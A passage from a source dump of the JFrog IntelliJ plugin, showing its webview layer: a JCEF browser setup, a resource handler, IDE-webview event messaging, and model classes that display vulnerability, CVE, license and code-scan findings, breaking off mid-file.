EventManager(jbCefBrowser, project); Disposer.register(this, jbCefBrowser); jbCefBrowser.createImmediately(); jbCefBrowser.setOpenLinksInExternalBrowser(true); streamConsoleMessagesToLog(); handleLoadEvent(() -> eventManager.onWebviewLoadEnd(onLoadEnd)); jbCefBrowser.getJBCefClient().addContextMenuHandler(new JfrogContextMenuHandler(), jbCefBrowser.getCefBrowser()); } public JBCefBrowser getBrowser() { return jbCefBrowser; } private void handleLoadEvent(Runnable onLoadEnd) { jbCefBrowser.getJBCefClient().addLoadHandler(new CefLoadHandlerAdapter() { @Override public void onLoadEnd(CefBrowser browser, CefFrame frame, int httpStatusCode) { Logger.getInstance().debug("Issue details view loading ended with status code " + httpStatusCode); super.onLoadEnd(browser, frame, httpStatusCode); if (onLoadEnd != null) { onLoadEnd.run(); } } @Override public void onLoadError(CefBrowser browser, CefFrame frame, ErrorCode errorCode, String errorText, String failedUrl) { super.onLoadError(browser, frame, errorCode, errorText, failedUrl); // When opening links in external browser, JBCef cancels the page redirection and opens the page in a new browser window. // This cancelation causes CEF to throw an ERR_ABORTED error. if (errorCode == ErrorCode.ERR_ABORTED) { return; } Logger.getInstance().error("An error occurred while opening the issue details view: " + errorText); } }, jbCefBrowser.getCefBrowser()); } private void streamConsoleMessagesToLog() { jbCefBrowser.getJBCefClient().addDisplayHandler(new CefDisplayHandlerAdapter() { @Override public boolean onConsoleMessage(CefBrowser browser, CefSettings.LogSeverity level, String message, String source, int line) { if (level == CefSettings.LogSeverity.LOGSEVERITY_VERBOSE) { Logger.getInstance().debug(String.format("Webview console message: %s - %s", level, message)); } else { Logger.getInstance().info(String.format("Webview console message: %s - %s", level, message)); } return false; } }, jbCefBrowser.getCefBrowser()); } public void sendMessage(WebviewEvent.Type type, Object data) { loadPageIfNeeded(); eventManager.send(type, data); } private void loadPageIfNeeded() { if (!schemeHandlerRegistered) { // Register the scheme handler factory right before the webview is first opened. // Performing this action earlier sometimes results in a crash or a fatal error, particularly in IntelliJ 2022.3. CefApp.getInstance().registerSchemeHandlerFactory("http", "jfrog-idea-plugin", new WebviewSchemeHandlerFactory()); jbCefBrowser.loadURL("http://jfrog-idea-plugin/index.html"); schemeHandlerRegistered = true; } } @Override public void dispose() { } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/WebviewObjectConverter.java ================================================ package com.jfrog.ide.idea.ui.webview; import com.jfrog.ide.common.nodes.*; import com.jfrog.ide.common.nodes.subentities.*; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder; import com.jfrog.ide.idea.ui.webview.model.Cve; import com.jfrog.ide.idea.ui.webview.model.Evidence; import com.jfrog.ide.idea.ui.webview.model.License; import com.jfrog.ide.idea.ui.webview.model.*; import org.apache.commons.collections4.CollectionUtils; import java.nio.file.Paths; import java.util.Collection; import java.util.List; public class WebviewObjectConverter { public static DependencyPage convertIssueToDepPage(VulnerabilityNode vulnerabilityNode) { ExtendedInformation extendedInformation = null; if (vulnerabilityNode.getResearchInfo() != null) { ResearchInfo issueResearchInfo = vulnerabilityNode.getResearchInfo(); Collection severityReasons = CollectionUtils.emptyIfNull(issueResearchInfo.getSeverityReasons()); JfrogResearchSeverityReason[] researchSeverityReasons = severityReasons.stream().map(severityReason -> new JfrogResearchSeverityReason(severityReason.getName(), severityReason.getDescription(), severityReason.isPositive())).toArray(JfrogResearchSeverityReason[]::new); extendedInformation = new ExtendedInformation(issueResearchInfo.getShortDescription(), issueResearchInfo.getFullDescription(), issueResearchInfo.getSeverity().name(), issueResearchInfo.getRemediation(), researchSeverityReasons); } DependencyNode dependency = vulnerabilityNode.getParentArtifact(); String[] watchNames = null; if (vulnerabilityNode.getWatchNames() != null) { watchNames = vulnerabilityNode.getWatchNames().toArray(new String[0]); } License[] licenses = null; if (dependency.getLicenses() != null) { licenses = dependency.getLicenses().stream().map(depLicense -> new License(depLicense.getName(), depLicense.getMoreInfoUrl())).toArray(License[]::new); } return new DependencyPage() .id(vulnerabilityNode.getIssueId()) .component(dependency.getArtifactId()) .componentType(getPackageTypeName(dependency.getComponentId())) .version(dependency.getVersion()) .severity(vulnerabilityNode.getSeverity(false).name()) .license(licenses) .summary(vulnerabilityNode.getSummary()) .fixedVersion(convertVersionRanges(vulnerabilityNode.getFixedVersions())) .infectedVersion(convertVersionRanges(vulnerabilityNode.getInfectedVersions())) .references(convertReferences(vulnerabilityNode.getReferences())) .cve(convertCve(vulnerabilityNode.getCve(), convertApplicableDetails(vulnerabilityNode.getApplicableInfo()))) .impactGraph(convertImpactGraph(dependency.getImpactTree())) .watchName(watchNames) .edited(vulnerabilityNode.getLastUpdated()) .extendedInformation(extendedInformation); } public static IssuePage convertFileIssueToIssuePage(FileIssueNode fileIssueNodeNode) { return new IssuePage() .header(fileIssueNodeNode.getTitle()) .type(ConvertPageType(fileIssueNodeNode.getReporterType())) .severity(fileIssueNodeNode.getSeverity().name()) .description(fileIssueNodeNode.getReason()) .location(convertFileLocation(fileIssueNodeNode)); } public static IssuePage convertSastIssueToSastIssuePage(SastIssueNode sastIssueNode) { return new SastIssuePage(convertFileIssueToIssuePage(sastIssueNode)) .setAnalysisSteps(convertCodeFlowsToLocations(sastIssueNode.getCodeFlows())) .setRuleID(sastIssueNode.getRuleId()); } private static Location[] convertCodeFlowsToLocations(FindingInfo[][] codeFlows) { if (codeFlows != null && codeFlows.length > 0) { Location[] locations = new Location[codeFlows[0].length]; for (int i = 0; i < codeFlows[0].length; i++) { FindingInfo codeFlow = codeFlows[0][i]; locations[i] = new Location( codeFlow.getFilePath(), Paths.get(codeFlow.getFilePath()).getFileName().toString(), codeFlow.getRowStart(), codeFlow.getColStart(), codeFlow.getRowEnd(), codeFlow.getColEnd(), codeFlow.getLineSnippet()); } return locations; } return null; } private static String ConvertPageType(SourceCodeScanType reporterType) { return switch (reporterType) { case SECRETS -> "SECRETS"; case IAC -> "IAC"; case SAST -> "SAST"; default -> "EMPTY"; }; } private static Location convertFileLocation(FileIssueNode fileIssueNodeNode) { return new Location( fileIssueNodeNode.getFilePath(), Paths.get(fileIssueNodeNode.getFilePath()).getFileName().toString(), fileIssueNodeNode.getRowStart() + 1, fileIssueNodeNode.getColStart() + 1, fileIssueNodeNode.getRowEnd() + 1, fileIssueNodeNode.getColEnd() + 1, fileIssueNodeNode.getLineSnippet()); } private static ApplicableDetails convertApplicableDetails(ApplicableInfo applicableInfo) { ApplicableDetails applicableDetails = null; if (applicableInfo != null) { if (applicableInfo.isApplicable()) { String searchTarget = applicableInfo.getSearchTarget(); List evidencesInfo = applicableInfo.getEvidences(); Evidence[] evidences = new Evidence[evidencesInfo.size()]; var i = 0; for (var evidenceInfo : evidencesInfo) { evidences[i++] = new Evidence(evidenceInfo.getReason(), evidenceInfo.getFilePathEvidence(), evidenceInfo.getCodeEvidence()); } applicableDetails = new ApplicableDetails(true, evidences, searchTarget); } else { // If we know the issue is not applicable, adds the relevant ApplicableDetails. applicableDetails = new ApplicableDetails(false, null, null); } } return applicableDetails; } public static DependencyPage convertLicenseToDepPage(LicenseViolationNode license) { DependencyNode dependency = license.getParentArtifact(); String[] watchNames = null; if (license.getWatchNames() != null) { watchNames = license.getWatchNames().toArray(new String[0]); } return new DependencyPage() .id(license.getName()) .component(dependency.getArtifactId()) .componentType(getPackageTypeName(dependency.getComponentId())) .version(dependency.getVersion()) .severity(license.getSeverity().name()) .references(convertReferences(license.getReferences())) .impactGraph(convertImpactGraph(dependency.getImpactTree())) .watchName(watchNames) .edited(license.getLastUpdated()); } private static ImpactGraph convertImpactGraph(ImpactTree impactTree) { return new ImpactGraph(convertImpactGraphNode(impactTree.getRoot()), impactTree.getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT ? impactTree.getImpactPathsCount() : -1); } private static ImpactGraphNode convertImpactGraphNode(ImpactTreeNode impactTreeNode) { ImpactGraphNode[] children = impactTreeNode.getChildren().stream().map(WebviewObjectConverter::convertImpactGraphNode).toArray(ImpactGraphNode[]::new); return new ImpactGraphNode(impactTreeNode.getName(), children); } private static Cve convertCve(com.jfrog.ide.common.nodes.subentities.Cve cve, ApplicableDetails applicableDetails) { return new Cve( cve.getCveId(), cve.getCvssV2Score(), cve.getCvssV2Vector(), cve.getCvssV3Score(), cve.getCvssV3Vector(), applicableDetails ); } private static String[] convertVersionRanges(List xrayVerRanges) { if (xrayVerRanges == null) { return new String[0]; } return xrayVerRanges.stream().map(WebviewObjectConverter::convertVersionRange).toArray(String[]::new); } private static String convertVersionRange(String xrayVerRange) { final char upInclude = ']'; final char upNotInclude = ')'; final char downInclude = '['; final char downNotInclude = '('; final String lt = "<"; final String lte = "≤"; final String gt = ">"; final String gte = "≥"; final String versionPlacer = "version"; final String allVersions = "All versions"; boolean containsLeft = false; boolean containsRight = false; String[] parts = xrayVerRange.split(","); if (parts.length == 1) { String singleVer = parts[0]; if (singleVer.charAt(0) == downInclude && singleVer.charAt(singleVer.length() - 1) == upInclude) { // Remove [ and ] return singleVer.substring(1, singleVer.length() - 1); } } if (parts.length != 2) { // Cannot convert return xrayVerRange; } // Parse both parts of the version range String leftSide = parts[0]; String rightSide = parts[1]; if (leftSide.charAt(0) == downInclude) { containsLeft = true; } else if (leftSide.charAt(0) != downNotInclude) { // Cannot convert return xrayVerRange; } if (rightSide.charAt(rightSide.length() - 1) == upInclude) { containsRight = true; } else if (rightSide.charAt(rightSide.length() - 1) != upNotInclude) { // Cannot convert return xrayVerRange; } // Remove [ String leftVer = leftSide.substring(1).trim(); // Remove ] String rightVer = rightSide.substring(0, rightSide.length() - 1).trim(); boolean leftEmpty = leftVer.isEmpty(); boolean rightEmpty = rightVer.isEmpty(); if (leftEmpty && rightEmpty) { return allVersions; } if (leftEmpty) { if (containsRight) { return lte + " " + rightVer; } return lt + " " + rightVer; } if (rightEmpty) { if (containsLeft) { return gte + " " + leftVer; } return gt + " " + leftVer; } // Left and right sides are not empty String res = leftVer + " "; if (containsLeft) { res += lte; } else { res += lt; } res += " " + versionPlacer + " "; if (containsRight) { res += lte; } else { res += lt; } res += " " + rightVer; return res; } private static Reference[] convertReferences(List xrayReferences) { if (xrayReferences == null) { return null; } return xrayReferences.stream().map(xrRef -> { if (!xrRef.startsWith("[")) { return new Reference(xrRef, null); } String[] parts = xrRef.split("]\\("); if (parts.length != 2 || !parts[1].endsWith(")")) { return new Reference(xrRef, null); } return new Reference(parts[1].substring(0, parts[1].length() - 1), parts[0].substring(1)); }).toArray(Reference[]::new); } private static String getPackageTypeName(String componentId) { String GENERIC_PKG_TYPE = "Generic"; String[] compIdParts = componentId.split("://"); if (compIdParts.length != 2) { return GENERIC_PKG_TYPE; } try { ComponentPrefix prefix = ComponentPrefix.valueOf(compIdParts[0].toUpperCase()); return prefix.getPackageTypeName(); } catch (IllegalArgumentException e) { return GENERIC_PKG_TYPE; } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/WebviewResourceHandler.java ================================================ package com.jfrog.ide.idea.ui.webview; import com.jfrog.ide.idea.log.Logger; import org.cef.callback.CefCallback; import org.cef.handler.CefLoadHandler; import org.cef.handler.CefResourceHandler; import org.cef.misc.IntRef; import org.cef.misc.StringRef; import org.cef.network.CefRequest; import org.cef.network.CefResponse; import java.io.IOException; import java.io.InputStream; import java.net.URL; import java.net.URLConnection; /** * We use this handler to read web resources that are saved inside the plugin's JAR. */ public class WebviewResourceHandler implements CefResourceHandler { private URL currUrl; private URLConnection connection; private InputStream webviewInputStream; private boolean error; @Override public boolean processRequest(CefRequest request, CefCallback callback) { String pathToResource = request.getURL().replace("http://jfrog-idea-plugin", "/jfrog-ide-webview"); currUrl = WebviewResourceHandler.class.getResource(pathToResource); try { //noinspection DataFlowIssue connection = currUrl.openConnection(); if (webviewInputStream != null) { webviewInputStream.close(); } webviewInputStream = connection.getInputStream(); error = false; callback.Continue(); return true; } catch (IOException | NullPointerException e) { Logger.getInstance().error("An error occurred while reading webview resource: " + currUrl.toString(), e); error = true; return false; } } @Override public void getResponseHeaders(CefResponse response, IntRef responseLength, StringRef redirectUrl) { if (error) { response.setError(CefLoadHandler.ErrorCode.ERR_FAILED); response.setStatus(500); return; } String url = currUrl.toString(); String postfix = url.substring(url.lastIndexOf(".") + 1); switch (postfix) { case "css": response.setMimeType("text/css"); break; case "js": response.setMimeType("text/javascript"); break; case "html": response.setMimeType("text/html"); break; default: response.setMimeType(connection.getContentType()); } try { responseLength.set(webviewInputStream.available()); } catch (IOException e) { Logger.getInstance().error("An error occurred while reading webview resource.", e); webviewInputStream = null; response.setError(CefLoadHandler.ErrorCode.ERR_FAILED); response.setStatus(500); return; } response.setStatus(200); } @Override public boolean readResponse(byte[] dataOut, int bytesToRead, IntRef bytesRead, CefCallback callback) { try { int availableSize = webviewInputStream.available(); if (availableSize < 1) { webviewInputStream.close(); webviewInputStream = null; return false; } int maxBytesToRead = Math.min(availableSize, bytesToRead); bytesRead.set(webviewInputStream.read(dataOut, 0, maxBytesToRead)); } catch (IOException e) { Logger.getInstance().error("An error occurred while reading webview resource.", e); webviewInputStream = null; return false; } return true; } @Override public void cancel() { try { if (webviewInputStream != null) { webviewInputStream.close(); } } catch (IOException e) { // Do nothing } webviewInputStream = null; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/WebviewSchemeHandlerFactory.java ================================================ package com.jfrog.ide.idea.ui.webview; import org.cef.browser.CefBrowser; import org.cef.browser.CefFrame; import org.cef.callback.CefSchemeHandlerFactory; import org.cef.handler.CefResourceHandler; import org.cef.network.CefRequest; public class WebviewSchemeHandlerFactory implements CefSchemeHandlerFactory { @Override public CefResourceHandler create(CefBrowser browser, CefFrame frame, String schemeName, CefRequest request) { return new WebviewResourceHandler(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/EventManager.java ================================================ package com.jfrog.ide.idea.ui.webview.event; import com.intellij.openapi.project.Project; import com.intellij.ui.jcef.JBCefBrowser; import com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent; import org.jetbrains.annotations.NotNull; /** * The EventManager is responsible for managing events between the IDE and the Webview. * It handles the creation of a receiver and sender, allowing communication between the components. */ public class EventManager { private final static String ideSendFuncName = "sendMessageToIdeFunc"; private final Receiver receiver; private final Sender sender; /** * Constructs a new EventManager with the provided JBCefBrowser and Project. * Note: The eventManager must be created before the webview is initialized. * * @param jbBrowser The JBCefBrowser associated with the webview. * @param project The Project associated with the IDE. */ public EventManager(JBCefBrowser jbBrowser, @NotNull Project project) { this.receiver = new Receiver(jbBrowser, project); this.sender = new Sender(jbBrowser.getCefBrowser()); } /** * Invoked when the webview finishes loading. * Creates the IDE send function body and sends it to the webview. * Finally, it runs onLoadEvent, if provided. * * @param onLoadEnd A {@link Runnable} to run when the webview finishes loading. */ public void onWebviewLoadEnd(Runnable onLoadEnd) { String ideSendFuncBody = this.receiver.createIdeSendFuncBody(ideSendFuncName); this.sender.sendIdeSendFunc(ideSendFuncName, ideSendFuncBody); if (onLoadEnd != null) { onLoadEnd.run(); } } /** * Sends an event of the specified type and data to the webview. * * @param type The type of the webview event. * @param data The data associated with the event. */ public void send(WebviewEvent.Type type, Object data) { this.sender.sendEvent(type, data); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/Receiver.java ================================================ package com.jfrog.ide.idea.ui.webview.event; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import com.intellij.openapi.project.Project; import com.intellij.ui.jcef.JBCefBrowser; import com.intellij.ui.jcef.JBCefBrowserBase; import com.intellij.ui.jcef.JBCefClient; import com.intellij.ui.jcef.JBCefJSQuery; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.ui.webview.event.model.IdeEvent; import com.jfrog.ide.idea.ui.webview.event.tasks.JumpToCodeTask; import com.jfrog.ide.idea.ui.webview.model.Location; import org.jetbrains.annotations.NotNull; import java.util.Objects; import static com.jfrog.ide.common.utils.Utils.createMapper; /** * The Receiver class is responsible for handling events received from the webview in the IDE. * It sets up the necessary query handling and provides a mechanism to process the received events. */ public class Receiver { private final JBCefJSQuery query; JBCefBrowser jbBrowser; Project project; /** * @param jbBrowser The JBCefBrowser associated with the webview. * @param project The Project associated with the IDE. */ public Receiver(JBCefBrowser jbBrowser, @NotNull Project project) { this.project = project; this.jbBrowser = jbBrowser; jbBrowser.getJBCefClient().setProperty(JBCefClient.Properties.JS_QUERY_POOL_SIZE, 5); // Queries must be created before the webview is initialized. query = JBCefJSQuery.create((JBCefBrowserBase) jbBrowser); query.addHandler((raw) -> { try { this.handler(unpack(raw)); } catch (JsonProcessingException e) { Logger.getInstance().error(e.getMessage()); } return null; }); } /** * Unpacks the raw JSON string into an IdeEvent object. * * @param raw The raw JSON string to unpack. * @return The unpacked IdeEvent. * @throws JsonProcessingException If an error occurs during JSON processing. */ public static IdeEvent unpack(String raw) throws JsonProcessingException { ObjectMapper ow = createMapper(); return ow.readValue(raw, IdeEvent.class); } /** * Creates the body of the IDE send function with the specified function name. * * @param ideSendFunctionName The name of the IDE send function. * @return The body of the IDE send function as a string. */ public String createIdeSendFuncBody(String ideSendFunctionName) { return "window['" + ideSendFunctionName + "'] = obj => { let raw = JSON.stringify(obj); " + query.inject("raw") + ";}"; } /** * Handles the received IdeEvent. * * @param event The received IdeEvent to handle. */ private void handler(IdeEvent event) { if (Objects.requireNonNull(event.getType()) == IdeEvent.Type.JUMP_TO_CODE) { new JumpToCodeTask(this.project).execute(createMapper().convertValue(event.getData(), Location.class)); Logger.getInstance().debug("Jump to " + event.getType()); } else { Logger.getInstance().debug("Received unknown event from the webview: " + event.getType()); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/Sender.java ================================================ package com.jfrog.ide.idea.ui.webview.event; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent; import org.cef.browser.CefBrowser; import static com.jfrog.ide.common.utils.Utils.createMapper; import static com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent.Type.SET_EMITTER; /** * The Sender class is responsible for sending events from the IDE to the webview. * It utilizes a CefBrowser instance to execute JavaScript code in the webview. */ public class Sender { CefBrowser browser; /** * @param browser The CefBrowser instance associated with the webview. */ public Sender(CefBrowser browser) { this.browser = browser; } /** * Packs the webview event into a JSON string representation. * * @param type The type of the webview event. * @param data The data associated with the webview event. * @return The JSON string representation of the packed webview event. * @throws JsonProcessingException If an error occurs during JSON processing. */ public static String pack(WebviewEvent.Type type, Object data) throws JsonProcessingException { ObjectMapper ow = createMapper(); return ow.writeValueAsString(new WebviewEvent(type, data)); } /** * Sends the IDE send function to the webview. This function allows sending data back from the webview to the IDE. * * @param ideSendFuncName The name of the IDE send function. * @param ideSendFuncBody The body of the IDE send function. */ public void sendIdeSendFunc(String ideSendFuncName, String ideSendFuncBody) { // Send the function to jcef, this must be first before updating the webview. // Otherwise, the webview will not find any methods to use and will drop the request. this.send(ideSendFuncBody); // Update JFrog webview with the function to be used in order to send data back to the IDE. this.sendEvent(SET_EMITTER, "return " + ideSendFuncName); } /** * Sends a webview event with the specified type and data to the webview. * * @param type The type of the webview event. * @param data The data associated with the webview event. */ public void sendEvent(WebviewEvent.Type type, Object data) { try { String raw = pack(type, data); Logger.getInstance().debug("Sending data to jfrog webview: " + raw); this.send("window.postMessage(" + raw + ")"); } catch (JsonProcessingException e) { Logger.getInstance().error(e.getMessage()); } } /** * Sends the specified event to the webview by executing the JavaScript code. * * @param event The JavaScript code to be executed in the webview. */ public void send(String event) { browser.executeJavaScript(event, "", 0); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/model/Event.java ================================================ package com.jfrog.ide.idea.ui.webview.event.model; import java.io.Serializable; /** * The Event class is an abstract model designed to facilitate communication between the IDE and the Webview. * It serves as the base class for various event types that can be transmitted between these components. */ public abstract class Event implements Serializable { private Object data; public Event(Object data) { this.data = data; } public Object getData() { return data; } public void setData(Object data) { this.data = data; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/model/IdeEvent.java ================================================ package com.jfrog.ide.idea.ui.webview.event.model; /** * Represents an IDE-specific event that can be sent from the Webview to the IDE. */ public class IdeEvent extends Event { private Type type; public IdeEvent() { super(null); } public Type getType() { return type; } public void setType(Type type) { this.type = type; } public enum Type {JUMP_TO_CODE, LOGIN, WEBVIEW_LOADED} } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/model/WebviewEvent.java ================================================ package com.jfrog.ide.idea.ui.webview.event.model; /** * Represents a Webview-specific event that can be sent from the IDE to the Webview. */ public class WebviewEvent extends Event { private Type type; @SuppressWarnings("unused") public WebviewEvent() { super(null); } public WebviewEvent(Type type, Object data) { super(data); this.type = type; } public Type getType() { return type; } public void setType(Type type) { this.type = type; } public enum Type {SET_EMITTER, SHOW_PAGE} } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/event/tasks/JumpToCodeTask.java ================================================ package com.jfrog.ide.idea.ui.webview.event.tasks; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.inspections.JumpToCode; import com.jfrog.ide.idea.ui.webview.model.Location; import org.jetbrains.annotations.NotNull; /** * Represents a task that performs the "Jump to Code" action in the IDE. * This task is responsible for executing the jump to code operation based on the provided project and location. */ public class JumpToCodeTask { JumpToCode jumpToCode; public JumpToCodeTask(@NotNull Project project) { jumpToCode = JumpToCode.getInstance(project); } public void execute(Location location) { this.jumpToCode.execute(location.getFile(), location.getStartRow() - 1, location.getEndRow() - 1, location.getStartColumn() - 1, location.getEndColumn() - 1); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/ApplicableDetails.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class ApplicableDetails { private final boolean isApplicable; private final Evidence[] evidence; private final String searchTarget; public ApplicableDetails(boolean isApplicable, Evidence[] evidence, String searchTarget) { this.isApplicable = isApplicable; this.evidence = evidence; this.searchTarget = searchTarget; } @SuppressWarnings("unused") public boolean getIsApplicable() { return isApplicable; } @SuppressWarnings("unused") public Evidence[] getEvidence() { return evidence; } @SuppressWarnings("unused") public String getSearchTarget() { return searchTarget; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/Cve.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class Cve { private final String id; private final String cvssV2Score; private final String cvssV2Vector; private final String cvssV3Score; private final String cvssV3Vector; private final ApplicableDetails applicableData; public Cve(String id, String cvssV2Score, String cvssV2Vector, String cvssV3Score, String cvssV3Vector, ApplicableDetails applicableData) { this.id = id; this.cvssV2Score = cvssV2Score; this.cvssV2Vector = cvssV2Vector; this.cvssV3Score = cvssV3Score; this.cvssV3Vector = cvssV3Vector; this.applicableData = applicableData; } @SuppressWarnings("unused") public String getId() { return id; } @SuppressWarnings("unused") public String getCvssV2Vector() { return cvssV2Vector; } @SuppressWarnings("unused") public String getCvssV2Score() { return cvssV2Score; } @SuppressWarnings("unused") public String getCvssV3Score() { return cvssV3Score; } @SuppressWarnings("unused") public String getCvssV3Vector() { return cvssV3Vector; } @SuppressWarnings("unused") public ApplicableDetails getApplicableData() { return applicableData; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/DependencyPage.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class DependencyPage { private String id; private String component; private String componentType; private String pageType = "DEPENDENCY"; private String version; private String severity; private License[] license; private String summary; private String[] fixedVersion; private String[] infectedVersion; private Reference[] references; private Cve cve; private ImpactGraph impactGraph; private String[] watchName; private String edited; private ExtendedInformation extendedInformation; public DependencyPage() { } @SuppressWarnings("unused") public String getId() { return id; } public DependencyPage id(String id) { this.id = id; return this; } @SuppressWarnings("unused") public String getComponent() { return component; } public DependencyPage component(String component) { this.component = component; return this; } @SuppressWarnings("unused") public String getPageType() { return pageType; } @SuppressWarnings("unused") public String getComponentType() { return componentType; } public DependencyPage componentType(String componentType) { this.componentType = componentType; return this; } @SuppressWarnings("unused") public String getVersion() { return version; } public DependencyPage version(String version) { this.version = version; return this; } @SuppressWarnings("unused") public String getSeverity() { return severity; } public DependencyPage severity(String severity) { this.severity = severity; return this; } @SuppressWarnings("unused") public License[] getLicense() { return license; } public DependencyPage license(License[] license) { this.license = license; return this; } @SuppressWarnings("unused") public String getSummary() { return summary; } public DependencyPage summary(String summary) { this.summary = summary; return this; } @SuppressWarnings("unused") public String[] getFixedVersion() { return fixedVersion; } public DependencyPage fixedVersion(String[] fixedVersion) { this.fixedVersion = fixedVersion; return this; } @SuppressWarnings("unused") public String[] getInfectedVersion() { return infectedVersion; } public DependencyPage infectedVersion(String[] infectedVersion) { this.infectedVersion = infectedVersion; return this; } @SuppressWarnings("unused") public Reference[] getReferences() { return references; } public DependencyPage references(Reference[] references) { this.references = references; return this; } @SuppressWarnings("unused") public Cve getCve() { return cve; } public DependencyPage cve(Cve cve) { this.cve = cve; return this; } @SuppressWarnings("unused") public ImpactGraph getImpactGraph() { return impactGraph; } public DependencyPage impactGraph(ImpactGraph impactGraph) { this.impactGraph = impactGraph; return this; } @SuppressWarnings("unused") public String[] getWatchName() { return watchName; } public DependencyPage watchName(String[] watchName) { this.watchName = watchName; return this; } @SuppressWarnings("unused") public String getEdited() { return edited; } public DependencyPage edited(String edited) { this.edited = edited; return this; } @SuppressWarnings("unused") public ExtendedInformation getExtendedInformation() { return extendedInformation; } public DependencyPage extendedInformation(ExtendedInformation extendedInformation) { this.extendedInformation = extendedInformation; return this; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/Evidence.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class Evidence { private final String reason; private final String filePathEvidence; private final String codeEvidence; public Evidence(String reason, String filePathEvidence, String codeEvidence) { this.reason = reason; this.filePathEvidence = filePathEvidence; this.codeEvidence = codeEvidence; } @SuppressWarnings("unused") public String getReason() { return reason; } @SuppressWarnings("unused") public String getFilePathEvidence() { return filePathEvidence; } @SuppressWarnings("unused") public String getCodeEvidence() { return codeEvidence; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/ExtendedInformation.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class ExtendedInformation { private final String shortDescription; private final String fullDescription; private final String jfrogResearchSeverity; private final String remediation; private final JfrogResearchSeverityReason[] jfrogResearchSeverityReason; public ExtendedInformation(String shortDescription, String fullDescription, String jfrogResearchSeverity, String remediation, JfrogResearchSeverityReason[] jfrogResearchSeverityReason) { this.shortDescription = shortDescription; this.fullDescription = fullDescription; this.jfrogResearchSeverity = jfrogResearchSeverity; this.remediation = remediation; this.jfrogResearchSeverityReason = jfrogResearchSeverityReason; } @SuppressWarnings("unused") public String getShortDescription() { return shortDescription; } @SuppressWarnings("unused") public String getFullDescription() { return fullDescription; } @SuppressWarnings("unused") public String getJfrogResearchSeverity() { return jfrogResearchSeverity; } @SuppressWarnings("unused") public String getRemediation() { return remediation; } @SuppressWarnings("unused") public JfrogResearchSeverityReason[] getJfrogResearchSeverityReason() { return jfrogResearchSeverityReason; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/Finding.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class Finding { private final String does; private final String happen; private final String meaning; private final String snippet; public Finding(String happen, String meaning, String snippet, String does) { this.happen = happen; this.meaning = meaning; this.snippet = snippet; this.does = does; } public Finding(Finding other) { this(other.happen, other.meaning, other.snippet, other.does); } @SuppressWarnings("unused") public String getHappen() { return happen; } @SuppressWarnings("unused") public String getMeaning() { return meaning; } @SuppressWarnings("unused") public String getSnippet() { return snippet; } @SuppressWarnings("unused") public String getDoes() { return does; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/ImpactGraph.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class ImpactGraph { private final ImpactGraphNode root; private final int pathsLimit; public ImpactGraph(ImpactGraphNode root, int pathsLimit) { this.root = root; this.pathsLimit = pathsLimit; } @SuppressWarnings("unused") public ImpactGraphNode getRoot() { return root; } @SuppressWarnings("unused") public int getPathsLimit() { return pathsLimit; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/ImpactGraphNode.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class ImpactGraphNode { private final String name; private final ImpactGraphNode[] children; public ImpactGraphNode(String name, ImpactGraphNode[] children) { this.name = name; this.children = children; } @SuppressWarnings("unused") public String getName() { return name; } @SuppressWarnings("unused") public ImpactGraphNode[] getChildren() { return children; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/IssuePage.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class IssuePage { private String pageType; private String header; private String severity; private String abbreviation; private Location location; private String description; private Finding finding; public IssuePage() { } public IssuePage(IssuePage other) { if (other == null) { return; } this.pageType = other.pageType; this.header = other.header; this.severity = other.severity; this.abbreviation = other.abbreviation; this.location = other.location != null ? new Location(other.location) : null; this.description = other.description; this.finding = other.finding != null ? new Finding(other.finding) : null; } @SuppressWarnings("unused") public String getHeader() { return header; } public IssuePage header(String header) { this.header = header; return this; } @SuppressWarnings("unused") public String getAbbreviation() { return abbreviation; } public IssuePage abbreviation(String abbreviation) { this.abbreviation = abbreviation; return this; } @SuppressWarnings("unused") public String getPageType() { return pageType; } public IssuePage type(String type) { this.pageType = type; return this; } @SuppressWarnings("unused") public String getDescription() { return description; } public IssuePage description(String description) { this.description = description; return this; } @SuppressWarnings("unused") public Location getLocation() { return location; } public IssuePage location(Location location) { this.location = location; return this; } @SuppressWarnings("unused") public String getSeverity() { return severity; } public IssuePage severity(String severity) { this.severity 